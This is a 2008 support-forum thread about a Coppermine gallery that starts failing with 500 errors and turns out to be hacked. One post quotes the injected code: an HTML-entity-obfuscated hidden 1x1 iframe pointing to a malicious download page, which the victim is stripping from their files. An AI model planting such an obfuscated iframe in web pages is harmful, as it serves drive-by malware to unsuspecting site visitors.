500 internal server error

[skyone]

Please help, I'm getting this 500 internal server error. My gallery was working fine until now. I wasn't uploading or doing anything.
I contacted my webhost as suggested on this forum when encountered this type of error. Support told me they can see the gallery and there is no server error because they can see the gallery I checked on my other laptop and I asked some friends and they can't see the gallery either
this is the gallery http://www.tibette.com/gallery/index.php and these are the main error logs :

[Fri Apr 18 10:29:06 2008] [error] [client 38.99.13.123] SoftException in Application.cpp:238: File "/home/tibettec/public_html/gallery/thumbnails.php" is writeable by group
[Fri Apr 18 10:29:06 2008] [error] [client 38.99.13.123] Premature end of script headers: thumbnails.php
[Fri Apr 18 10:29:06 2008] [error] [client 38.99.13.123] SoftException in Application.cpp:238: File "/home/tibettec/public_html/500.php" is writeable by group
[Fri Apr 18 10:29:06 2008] [error] [client 38.99.13.123] Premature end of script headers: 500.php

support told me is because the gallery is not up to date. I think that's nonsense. Eventhou I haven't got the latest version, I'm on 1.4.16, that shouldn't be the problem, right?

please what can I do?

[Nibbler]

Update anyway.

[skyone]

ok, I updated and nothing. I can't even run the update, I get a blank page.
I noticed though just before I started to upload the new version, that the last modified date on my directory was today, the last time I upgraded my gallery was last March. Shouldn't all the files show that date in march before I uploaded 1.4.18?

[skyone]

my gallery is upadated now to the latest version but my gallery has a virus. It's basically as described on this topic http://forum.coppermine-gallery.net/index.php/topic,51671.100.html although the hacker site is different: ccfelomvhk.com/dl/adv542.php
that's what appears at the bottom of my gallery and at the top it prompts to run an add on: Microsoft data access Remove data services...... Of course I havent click on it
I had this file 45563131x.jpg that I've removed and I'm removing this as well: "<iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe>" from several files.

if I manage to delete all the lines with the <iframe thing, will I get rid of the virus???

[kpcasey]

This is a hack. I got the same hack by ccfelomvhk today.

It put the iframe on all my pages and made them all 777. I'm just going to clean everything out and start from scratch this weekend.

--kC

[Joachim Müller]

http://forum.coppermine-gallery.net/index.php/topic,51671.0.html
http://forum.coppermine-gallery.net/index.php/topic,51927.0.html